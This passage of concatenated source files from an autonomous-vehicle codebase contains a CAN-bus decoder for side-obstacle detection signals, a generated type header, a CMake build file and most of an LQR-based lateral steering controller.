'SOD_BLIS_DISPLAY_SOD_LCA_CTA_DOA_ERROR', 2: 'SOD_BLIS_DISPLAY_SOD_LCA_CTA_DOA_BLINDNESS', 3: 'SOD_BLIS_DISPLAY_SOD_LCA_CTA_DOA_UNCALIBRATION', 4: 'SOD_BLIS_DISPLAY_TEMPORARY_ERROR', 5: 'SOD_BLIS_DISPLAY_RESERVED', 6: 'SOD_BLIS_DISPLAY_RESERVED', 7: 'SOD_BLIS_DISPLAY_RESERVED', 8: 'SOD_BLIS_DISPLAY_RESERVED', 9: 'SOD_BLIS_DISPLAY_RESERVED', 10: 'SOD_BLIS_DISPLAY_RESERVED', 11: 'SOD_BLIS_DISPLAY_RESERVED', 12: 'SOD_BLIS_DISPLAY_RESERVED', 13: 'SOD_BLIS_DISPLAY_RESERVED', 14: 'SOD_BLIS_DISPLAY_RESERVED', 15: 'SOD_BLIS_DISPLAY_RESERVED'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_blis_displayType Sod0x275275::sod_blis_display(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(4, 4); Sod_0x275_275::Sod_blis_displayType ret = static_cast<Sod_0x275_275::Sod_blis_displayType>(x); return ret; } // config detail: {'name': 'sod_lca_warningreqleft', 'enum': {0: 'SOD_LCA_WARNINGREQLEFT_NO_WARNING', 1: 'SOD_LCA_WARNINGREQLEFT_WARNING_LEVEL_1', 2: 'SOD_LCA_WARNINGREQLEFT_WARNING_LEVEL_2', 3: 'SOD_LCA_WARNINGREQLEFT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 17, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_lca_warningreqleftType Sod0x275275::sod_lca_warningreqleft(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 2); Sod_0x275_275::Sod_lca_warningreqleftType ret = static_cast<Sod_0x275_275::Sod_lca_warningreqleftType>(x); return ret; } // config detail: {'name': 'sod_doa_warningreqleftrear', 'enum': {0: 'SOD_DOA_WARNINGREQLEFTREAR_NO_WARNING', 1: 'SOD_DOA_WARNINGREQLEFTREAR_WARNING_LEVEL_1', 2: 'SOD_DOA_WARNINGREQLEFTREAR_WARNING_LEVEL_2', 3: 'SOD_DOA_WARNINGREQLEFTREAR_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_doa_warningreqleftrearType Sod0x275275::sod_doa_warningreqleftrear(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(2, 2); Sod_0x275_275::Sod_doa_warningreqleftrearType ret = static_cast<Sod_0x275_275::Sod_doa_warningreqleftrearType>(x); return ret; } // config detail: {'name': 'sod_doa_warningreqleftfront', 'enum': {0: 'SOD_DOA_WARNINGREQLEFTFRONT_NO_WARNING', 1: 'SOD_DOA_WARNINGREQLEFTFRONT_WARNING_LEVEL_1', 2: 'SOD_DOA_WARNINGREQLEFTFRONT_WARNING_LEVEL_2', 3: 'SOD_DOA_WARNINGREQLEFTFRONT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_doa_warningreqleftfrontType Sod0x275275::sod_doa_warningreqleftfront(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(4, 2); Sod_0x275_275::Sod_doa_warningreqleftfrontType ret = static_cast<Sod_0x275_275::Sod_doa_warningreqleftfrontType>(x); return ret; } // config detail: {'name': 'sod_cta_warningreqleft', 'enum': {0: 'SOD_CTA_WARNINGREQLEFT_NO_WARNING', 1: 'SOD_CTA_WARNINGREQLEFT_RESERVED', 2: 'SOD_CTA_WARNINGREQLEFT_WARNING_LEVEL_2', 3: 'SOD_CTA_WARNINGREQLEFT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_cta_warningreqleftType Sod0x275275::sod_cta_warningreqleft(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(6, 2); Sod_0x275_275::Sod_cta_warningreqleftType ret = static_cast<Sod_0x275_275::Sod_cta_warningreqleftType>(x); return ret; } // config detail: {'name': 'sod_doa_state', 'enum': {0: 'SOD_DOA_STATE_INACTIVE', 1: 'SOD_DOA_STATE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_doa_stateType Sod0x275275::sod_doa_state(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(2, 1); Sod_0x275_275::Sod_doa_stateType ret = static_cast<Sod_0x275_275::Sod_doa_stateType>(x); return ret; } // config detail: {'name': 'sod_cta_state', 'enum': {0: 'SOD_CTA_STATE_INACTIVE', 1: 'SOD_CTA_STATE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 27, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_cta_stateType Sod0x275275::sod_cta_state(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(3, 1); Sod_0x275_275::Sod_cta_stateType ret = static_cast<Sod_0x275_275::Sod_cta_stateType>(x); return ret; } // config detail: {'name': 'sod_sodlca_state', 'enum': {0: 'SOD_SODLCA_STATE_INACTIVE', 1: 'SOD_SODLCA_STATE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_sodlca_stateType Sod0x275275::sod_sodlca_state(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(4, 1); Sod_0x275_275::Sod_sodlca_stateType ret = static_cast<Sod_0x275_275::Sod_sodlca_stateType>(x); return ret; } // config detail: {'name': 'doa_offtelltale', 'enum': {0: 'DOA_OFFTELLTALE_OFFTELLTLAE_OFF', 1: 'DOA_OFFTELLTALE_OFFTELLTALE_ON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Doa_offtelltaleType Sod0x275275::doa_offtelltale(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(5, 1); Sod_0x275_275::Doa_offtelltaleType ret = static_cast<Sod_0x275_275::Doa_offtelltaleType>(x); return ret; } // config detail: {'name': 'sod_doa_warningreqrightrear', 'enum': {0: 'SOD_DOA_WARNINGREQRIGHTREAR_NO_WARNING', 1: 'SOD_DOA_WARNINGREQRIGHTREAR_WARNING_LEVEL_1', 2: 'SOD_DOA_WARNINGREQRIGHTREAR_WARNING_LEVEL_2', 3: 'SOD_DOA_WARNINGREQRIGHTREAR_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_doa_warningreqrightrearType Sod0x275275::sod_doa_warningreqrightrear(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(2, 2); Sod_0x275_275::Sod_doa_warningreqrightrearType ret = static_cast<Sod_0x275_275::Sod_doa_warningreqrightrearType>(x); return ret; } // config detail: {'name': 'cta_offtelltale', 'enum': {0: 'CTA_OFFTELLTALE_OFFTELLTLAE_OFF', 1: 'CTA_OFFTELLTALE_OFFTELLTALE_ON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 30, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Cta_offtelltaleType Sod0x275275::cta_offtelltale(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(6, 1); Sod_0x275_275::Cta_offtelltaleType ret = static_cast<Sod_0x275_275::Cta_offtelltaleType>(x); return ret; } // config detail: {'name': 'sodlca_offtelltale', 'enum': {0: 'SODLCA_OFFTELLTALE_OFFTELLTLAE_OFF', 1: 'SODLCA_OFFTELLTALE_OFFTELLTALE_ON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sodlca_offtelltaleType Sod0x275275::sodlca_offtelltale(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(7, 1); Sod_0x275_275::Sodlca_offtelltaleType ret = static_cast<Sod_0x275_275::Sodlca_offtelltaleType>(x); return ret; } // config detail: {'name': 'sod_doa_warningreqrightfront', 'enum': {0: 'SOD_DOA_WARNINGREQRIGHTFRONT_NO_WARNING', 1: 'SOD_DOA_WARNINGREQRIGHTFRONT_WARNING_LEVEL_1', 2: 'SOD_DOA_WARNINGREQRIGHTFRONT_WARNING_LEVEL_2', 3: 'SOD_DOA_WARNINGREQRIGHTFRONT_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_doa_warningreqrightfrontType Sod0x275275::sod_doa_warningreqrightfront(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(4, 2); Sod_0x275_275::Sod_doa_warningreqrightfrontType ret = static_cast<Sod_0x275_275::Sod_doa_warningreqrightfrontType>(x); return ret; } // config detail: {'name': 'rolling_counter_0x275', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Sod0x275275::rolling_counter_0x275(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'checksum_0x275', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Sod0x275275::checksum_0x275(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'sod_cta_warningreqright', 'enum': {0: 'SOD_CTA_WARNINGREQRIGHT_NO_WARNING', 1: 'SOD_CTA_WARNINGREQRIGHT_RESERVED', 2: 'SOD_CTA_WARNINGREQRIGHT_WARNING_LEVEL_2'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_cta_warningreqrightType Sod0x275275::sod_cta_warningreqright(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 2); Sod_0x275_275::Sod_cta_warningreqrightType ret = static_cast<Sod_0x275_275::Sod_cta_warningreqrightType>(x); return ret; } // config detail: {'name': 'sod_autoalignmentflag', 'enum': {0: 'SOD_AUTOALIGNMENTFLAG_NO_SUCCESS', 1: 'SOD_AUTOALIGNMENTFLAG_SUCCESSFUL', 3: 'SOD_AUTOALIGNMENTFLAG_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Sod_0x275_275::Sod_autoalignmentflagType Sod0x275275::sod_autoalignmentflag(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 2); Sod_0x275_275::Sod_autoalignmentflagType ret = static_cast<Sod_0x275_275::Sod_autoalignmentflagType>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #include <cstdint> #ifndef base_type_std_int16_t_h #define base_type_std_int16_t_h typedef std::int16_t std_int16_t; #endif // base_type_std_int16_t_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(creep_decider creep_decider.cc creep_decider.h) target_link_libraries(creep_decider planning_context reference_line_info common_lib util_lib /modules/planning/scenarios/util:scenario_util_lib /modules/planning/tasks/deciders:decider_base) <file_sep>/***************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/control/controller/lat_controller.h" #include <algorithm> #include <cmath> #include <iomanip> #include <string> #include <utility> #include <vector> #include "Eigen/LU" #include "modules/common/configs/vehicle_config_helper.h" #include "modules/common/log.h" #include "modules/common/math/linear_quadratic_regulator.h" #include "modules/common/math/math_utils.h" #include "modules/common/math/quaternion.h" #include "modules/common/time/jmcauto_time.h" #include "modules/common/util/string_util.h" #include "modules/control/common/control_gflags.h" #include "modules/common/configs/config_gflags.h" namespace jmc_auto { namespace control { using jmc_auto::common::ErrorCode; using jmc_auto::common::Point3D; using jmc_auto::common::Status; using jmc_auto::common::TrajectoryPoint; using jmc_auto::common::VehicleStateProvider; using jmc_auto::common::util::StrCat; using Matrix = Eigen::MatrixXd; using jmc_auto::common::time::Clock; namespace { std::string GetLogFileName() { time_t raw_time; char name_buffer[80]; std::time(&raw_time); strftime(name_buffer, 80, "/tmp/steer_log_simple_optimal_%F_%H%M%S.csv", localtime(&raw_time)); return std::string(name_buffer); } void WriteHeaders(std::ofstream &file_stream) { file_stream << "current_lateral_error," << "current_ref_heading," << "current_heading," << "current_heading_error," << "heading_error_rate," << "lateral_error_rate," << "current_curvature," << "steer_angle," << "steer_angle_feedforward," << "steer_angle_lateral_contribution," << "steer_angle_lateral_rate_contribution," << "steer_angle_heading_contribution," << "steer_angle_heading_rate_contribution," << "steer_angle_feedback," << "steering_position," << "v" << std::endl; } } // namespace LatController::LatController() : name_("LQR-based Lateral Controller") { if (FLAGS_enable_csv_debug) { steer_log_file_.open(GetLogFileName()); steer_log_file_ << std::fixed; steer_log_file_ << std::setprecision(6); WriteHeaders(steer_log_file_); } AINFO << "Using " << name_; } LatController::~LatController() { CloseLogFile(); } bool LatController::LoadControlConf(const ControlConf *control_conf) { const auto &vehicle_param_ = common::VehicleConfigHelper::instance()->GetConfig().vehicle_param(); ts_ = control_conf->lat_controller_conf().ts(); CHECK_GT(ts_, 0.0) << "[LatController] Invalid control update interval."; cf_ = control_conf->lat_controller_conf().cf(); cr_ = control_conf->lat_controller_conf().cr(); preview_window_ = control_conf->lat_controller_conf().preview_window(); wheelbase_ = vehicle_param_.wheel_base(); steer_transmission_ratio_ = vehicle_param_.steer_ratio(); steer_single_direction_max_degree_ = vehicle_param_.max_steer_angle() / M_PI * 180; max_lat_acc_ = control_conf->lat_controller_conf().max_lateral_acceleration(); const double mass_fl = control_conf->lat_controller_conf().mass_fl(); const double mass_fr = control_conf->lat_controller_conf().mass_fr(); const double mass_rl = control_conf->lat_controller_conf().mass_rl(); const double mass_rr = control_conf->lat_controller_conf().mass_rr(); const double mass_front = mass_fl + mass_fr;// const double mass_rear = mass_rl + mass_rr; mass_ = mass_front + mass_rear; lf_ = wheelbase_ * (1.0 - mass_front / mass_);// mass_front越大,Lf越小 lr_ = wheelbase_ * (1.0 - mass_rear / mass_); // moment of inertia iz_ = lf_ * lf_ * mass_front + lr_ * lr_ * mass_rear; lqr_eps_ = control_conf->lat_controller_conf().eps(); lqr_max_iteration_ = control_conf->lat_controller_conf().max_iteration(); minimum_speed_protection_ = control_conf->minimum_speed_protection(); AINFO << "Load lat control conf file succeed!" ; return true; } void LatController::ProcessLogs(const SimpleLateralDebug *debug, const canbus::Chassis *chassis) { // StrCat supports 9 arguments at most. const std::string log_str = StrCat( StrCat(debug->lateral_error(), ",", debug->ref_heading(), ",", VehicleStateProvider::instance()->heading(), ",", debug->heading_error(), ","), StrCat(debug->heading_error_rate(), ",", debug->lateral_error_rate(), ",", debug->curvature(), ",", debug->steer_angle(), ","), StrCat(debug->steer_angle_feedforward(), ",", debug->steer_angle_lateral_contribution(), ",", debug->steer_angle_lateral_rate_contribution(), ",", debug->steer_angle_heading_contribution(), ","), StrCat(debug->steer_angle_heading_rate_contribution(), ",", debug->steer_angle_feedback(), ",", chassis->steering_percentage(), ",", VehicleStateProvider::instance()->linear_velocity())); if (FLAGS_enable_csv_debug) { steer_log_file_ << log_str << std::endl; } //ADEBUG << "Steer_Control_Detail: " << log_str; } void LatController::LogInitParameters() { AINFO << name_ << " begin."; AINFO << "[LatController parameters]" << " mass_: " << mass_ << "," << " iz_: " << iz_ << "," << " lf_: " << lf_ << "," << " lr_: " << lr_; } void LatController::InitializeFilters(const ControlConf *control_conf) { // Low pass filter std::vector<double> den(3, 0.0); std::vector<double> num(3, 0.0); common::LpfCoefficients( ts_, control_conf->lat_controller_conf().cutoff_freq(), &den, &num); digital_filter_.set_coefficients(den, num); lateral_error_filter_ = common::MeanFilter( control_conf->lat_controller_conf().mean_filter_window_size()); heading_error_filter_ = common::MeanFilter( control_conf->lat_controller_conf().mean_filter_window_size()); AINFO << "LAT Filter init succeed!" ; } Status LatController::Init(const ControlConf *control_conf) { control_conf_ = control_conf; if (!LoadControlConf(control_conf)) { AERROR << "failed to load control conf"; return Status(ErrorCode::CONTROL_COMPUTE_ERROR, "failed to load control_conf"); } // Matrix init operations. const int matrix_size = basic_state_size_ + preview_window_; matrix_a_ = Matrix::Zero(basic_state_size_, basic_state_size_); //矩阵A初始化为全零矩阵 matrix_ad_ = Matrix::Zero(basic_state_size_, basic_state_size_); matrix_adc_ = Matrix::Zero(matrix_size, matrix_size); //矩阵A中的常数项 matrix_a_(0, 1) = 1.0; matrix_a_(1, 2) = (cf_ + cr_) / mass_; matrix_a_(2, 3) = 1.0; matrix_a_(3, 2) = (lf_ * cf_ - lr_ * cr_) / iz_; //矩阵A中和速度V相关的变量 matrix_a_coeff_ = Matrix::Zero(matrix_size, matrix_size); matrix_a_coeff_(1, 1) = -(cf_ + cr_) / mass_; matrix_a_coeff_(1, 3) = (lr_ * cr_ - lf_ * cf_) / mass_; matrix_a_coeff_(2, 3) = 1.0; matrix_a_coeff_(3, 1) = (lr_ * cr_ - lf_ * cf_) / iz_; matrix_a_coeff_(3, 3) = -1.0 * (lf_ * lf_ * cf_ + lr_ * lr_ * cr_) / iz_; matrix_b_ = Matrix::Zero(basic_state_size_, 1); matrix_bd_ = Matrix::Zero(basic_state_size_, 1); matrix_bdc_ = Matrix::Zero(matrix_size, 1); matrix_b_(1, 0) = cf_ / mass_; matrix_b_(3, 0) = lf_ * cf_ / iz_; matrix_bd_ = matrix_b_ * ts_; matrix_state_ = Matrix::Zero(matrix_size, 1); matrix_k_ = Matrix::Zero(1, matrix_size); matrix_r_ = Matrix::Identity(1, 1); matrix_q_ = Matrix::Zero(matrix_size, matrix_size); int q_param_size = control_conf->lat_controller_conf().matrix_q_size(); for (int i = 0; i < q_param_size; ++i) { matrix_q_(i, i) = control_conf->lat_controller_conf().matrix_q(i); } matrix_q_updated_ = matrix_q_; InitializeFilters(control_conf); auto &lat_controller_conf = control_conf->lat_controller_conf(); LoadLatGainScheduler(lat_controller_conf); // LoadSteerCalibrationTable(lat_controller_conf); steering_pid_controller_.Init(lat_controller_conf.steering_pid_conf()) ; AINFO << "LAT PID coeff " << lat_controller_conf.steering_pid_conf().kp() ; LogInitParameters(); AINFO << "Lat init succeed!"; return Status::OK(); } void LatController::CloseLogFile() { if (FLAGS_enable_csv_debug && steer_log_file_.is_open()) { steer_log_file_.close(); } } void LatController::LoadLatGainScheduler( const LatControllerConf &lat_controller_conf) { const auto &lat_err_gain_scheduler = lat_controller_conf.lat_err_gain_scheduler(); const auto &heading_err_gain_scheduler = lat_controller_conf.heading_err_gain_scheduler(); AINFO << "Lateral control gain scheduler loaded"; Interpolation1D::DataType xy1, xy2; for (const auto &scheduler : lat_err_gain_scheduler.scheduler()) { xy1.push_back(std::make_pair(scheduler.speed(), scheduler.ratio())); } for (const auto &scheduler : heading_err_gain_scheduler.scheduler()) { xy2.push_back(std::make_pair(scheduler.speed(), scheduler.ratio())); } lat_err_interpolation_.reset(new Interpolation1D); CHECK(lat_err_interpolation_->Init(xy1)) << "Fail to load lateral error gain scheduler"; heading_err_interpolation_.reset(new Interpolation1D); CHECK(heading_err_interpolation_->Init(xy2)) << "Fail to load heading error gain scheduler"; AINFO << "Load Lateral control gain scheduler succeed!"; } void LatController::Stop() { CloseLogFile(); } std::string LatController::Name() const { return name_; } Status LatController::ComputeControlCommand( const localization::LocalizationEstimate *localization, const canbus::Chassis *chassis, const planning::ADCTrajectory *planning_published_trajectory, ControlCommand *cmd) { auto vehicle_state = VehicleStateProvider::instance() ; vehicle_state->set_linear_velocity(chassis->speed_mps()); //planning发布的轨迹 trajectory_analyzer_ = std::move(TrajectoryAnalyzer(planning_published_trajectory)); SimpleLateralDebug *debug = cmd->mutable_debug()->mutable_simple_lat_debug(); debug->Clear(); //将planning轨迹点由后轴中心转化为车辆质心 if ((FLAGS_trajectory_transform_to_com_reverse && vehicle_state->gear()==canbus::Chassis::GEAR_REVERSE)|| FLAGS_trajectory_transform_to_com_drive && vehicle_state->gear()==canbus::Chassis::GEAR_DRIVE){ trajectory_analyzer_.TrajectoryTransformToCOM(lr_); } //判断档位,根据档位设置模型参数 if (vehicle_state->gear() == canbus::Chassis::GEAR_REVERSE) { /* A matrix (Gear Reverse) [0.0, 0.0, 1.0 * v 0.0; 0.0, (-(c_f + c_r) / m) / v, (c_f + c_r) / m, (l_r * c_r - l_f * c_f) / m / v; 0.0, 0.0, 0.0, 1.0; 0.0, ((lr * cr - lf * cf) / i_z) / v, (l_f * c_f - l_r * c_r) / i_z, (-1.0 * (l_f^2 * c_f + l_r^2 * c_r) / i_z) / v;] */ ADEBUG << "Gear R coeff" ; cf_ = -control_conf_->lat_controller_conf().cf(); cr_ = -control_conf_->lat_controller_conf().cr(); matrix_a_(0, 1) = 0.0; matrix_a_coeff_(0, 2) = 1.0; } else { /* A matrix (Gear Drive) [0.0, 1.0, 0.0, 0.0; 0.0, (-(c_f + c_r) / m) / v, (c_f + c_r) / m, (l_r * c_r - l_f * c_f) / m / v; 0.0, 0.0, 0.0, 1.0; 0.0, ((lr * cr - lf * cf) / i_z) / v, (l_f * c_f - l_r * c_r) / i_z, (-1.0 * (l_f^2 * c_f + l_r^2 * c_r) / i_z) / v;] */ ADEBUG << "Gear D coeff" ; cf_ = control_conf_->lat_controller_conf().cf(); cr_ = control_conf_->lat_controller_conf().cr(); matrix_a_(0, 1) = 1.0; matrix_a_coeff_(0, 2) = 0.0; } //更新R档下的航向,航向角在原基础上增加派 UpdateDrivingOrientation(); // Update state = [Lateral Error, Lateral Error Rate, Heading Error, Heading // Error Rate, preview lateral error1 , preview lateral error2, ...] UpdateState(debug); //state matrix X UpdateMatrix(); //获取系数矩阵A, matrix_a_,采用离散化公式获得matrix_ad_ UpdateMatrixCompound(); //道路预览模型复合化离散矩阵 matrix_adc_ //R档下更新q if (VehicleStateProvider::instance()->gear() == canbus::Chassis::GEAR_REVERSE) { for (int i = 0; i < 4; ++i) { matrix_q_(i, i) = control_conf_->lat_controller_conf().reverse_matrix_q(i); } } else { for (int i = 0; i < 4; ++i) { matrix_q_(i, i) = control_conf_->lat_controller_conf().matrix_q(i); } } // Add gain sheduler for higher speed steering增加增益sheduler以实现更高的转向速度, //在原来的q矩阵的基础上乘以系数,速度越大,系数越小 if (FLAGS_enable_gain_scheduler) { matrix_q_updated_(0, 0) = matrix_q_(0, 0) * lat_err_interpolation_->Interpolate( VehicleStateProvider::instance()->linear_velocity());//车速越高ratio越小,q(0,0)越小 matrix_q_updated_(2, 2) = matrix_q_(2, 2) * heading_err_interpolation_->Interpolate( VehicleStateProvider::instance()->linear_velocity()); AINFO << "Q(0) = " << matrix_q_updated_(0, 0) ; AINFO << "Q(2) = " << matrix_q_updated_(2, 2) ; common::math::SolveLQRProblem(matrix_adc_, matrix_bdc_, matrix_q_updated_, matrix_r_, lqr_eps_, lqr_max_iteration_, &matrix_k_); } else { AINFO << "Q(0) = " << matrix_q_(0, 0) ; AINFO << "Q(2) = " << matrix_q_(2, 2) ; common::math::SolveLQRProblem(matrix_adc_, matrix_bdc_, matrix_q_, matrix_r_, lqr_eps_, lqr_max_iteration_, &matrix_k_); } AINFO << "Solve LQR succeed!" ; // feedback = - K * state // Convert vehicle steer angle from rad to degree and then to steering degree // then to 100% ratio double steer_angle_feedback = -(matrix_k_ * matrix_state_)(0, 0) * 180 / M_PI * steer_transmission_ratio_ / steer_single_direction_max_degree_ * 100; double steer_angle_feedback_diff = steer_angle_feedback - previous_steer_angle_feedback ; // steer_angle_feedback_diff = common::math::Clamp(steer_angle_feedback_diff,-4.0,4.0); steer_angle_feedback = previous_steer_angle_feedback + steer_angle_feedback_diff ; previous_steer_angle_feedback = steer_angle_feedback ; AINFO << "steer_angle_feedback = " << steer_angle_feedback ; //计算前馈 const double steer_angle_feedforward = ComputeFeedForward(debug->curvature()); AINFO << "steer_angle_feedforward = " << steer_angle_feedforward ; // Clamp the steer angle to -100.0 to 100.0 double steer_angle = common::math::Clamp( steer_angle_feedback + steer_angle_feedforward, -200.0, 200.0); AINFO << "steer_angle = " << steer_angle ; if (FLAGS_set_steer_limit) { AINFO << "Limited steer angle according to vehicle speed"; const double steer_limit = std::atan(max_lat_acc_ * wheelbase_ / (VehicleStateProvider::instance()->linear_velocity() * VehicleStateProvider::instance()->linear_velocity())) * steer_transmission_ratio_ * 180 / M_PI / steer_single_direction_max_degree_ * 100;//根据车速限制车轮最大转向角 // Clamp the steer angle double steer_angle_limited = common::math::Clamp(steer_angle, -steer_limit, steer_limit);//将计算出的车轮转角限制在最大转向角内 steer_angle_limited = digital_filter_.Filter(steer_angle_limited);//数字滤波,滤去高频信号 steer_angle = steer_angle_limited; debug->set_steer_angle_limited(steer_angle); } else { steer_angle = digital_filter_.Filter(steer_angle); } //车速<锁轮速度且D档且完全自动驾驶 if (VehicleStateProvider::instance()->linear_velocity() < FLAGS_lock_steer_speed && VehicleStateProvider::instance()->gear() == canbus::Chassis::GEAR_DRIVE && chassis->driving_mode() == canbus::Chassis::COMPLETE_AUTO_DRIVE) { steer_angle = pre_steer_angle_; AINFO << "vehicle speed <lock_steer_speed, Use pre_steer_angle!" ; } pre_steer_angle_ = steer_angle; double steering_angle_ = steer_angle * steer_single_direction_max_degree_ / 100 ; //<NAME> liangcijisuande <NAME> ADEBUG << "oringin steering_angle " << steering_angle_ ; double steering_angle_diff = steering_angle_ - previous_steering_angle ; ADEBUG << "previous_steer_angle " << previous_steering_angle ; ADEBUG << "steering_angle_diff " << steering_angle_diff ; steering_angle_diff = common::math::Clamp(steering_angle_diff,-20.0,20.0); steering_angle_ = previous_steering_angle + steering_angle_diff ; previous_steering_angle = chassis->steering_percentage() ; ADEBUG << "final steering_angle " << steering_angle_ ; AINFO << "Use steering PID"; auto steering_angle_error = steering_angle_ - chassis->steering_percentage(); //steering_angle_error = common::math::Clamp(steering_angle_error,-89.0,89.0); ADEBUG << "chassis steering angle " << chassis->steering_percentage() ; AINFO << "steering_angle_error = " << steering_angle_error ; auto steering_offset = steering_pid_controller_.Control(steering_angle_error , ts_) ; // steering_offset = common::math::Clamp(steering_offset,-89.0,89.0); AINFO << "steering_offset = " << steering_offset ; steering_angle_ = steering_angle_ + steering_offset ; steering_angle_error = steering_angle_ - chassis->steering_percentage(); steering_angle_error = common::math::Clamp(steering_angle_error,-85.0,85.0); steering_angle_ = chassis->steering_percentage() + steering_angle_error ; steering_angle_ = common::math::Clamp(steering_angle_,-484.0,484.0); cmd->set_steering_angle(steering_angle_); ADEBUG << "steering angle command " << steering_angle_ ; cmd->set_steering_rate(FLAGS_steer_angle_rate); debug->set_heading(VehicleStateProvider::instance()->heading()); // debug->set_steer_angle(steering_angle_); debug->set_steer_angle_feedforward(steer_angle_feedforward); debug->set_steer_angle_feedback(steer_angle_feedback); debug->set_steering_position(chassis->steering_percentage()); debug->set_ref_speed(VehicleStateProvider::instance()->linear_velocity()); debug->set_steer_targe_position_error(steer_angle - chassis->steering_percentage()) ;//增加车轮目标位置和实际位置误差输出信息 ProcessLogs(debug, chassis); return Status::OK(); } Status LatController::Reset() { 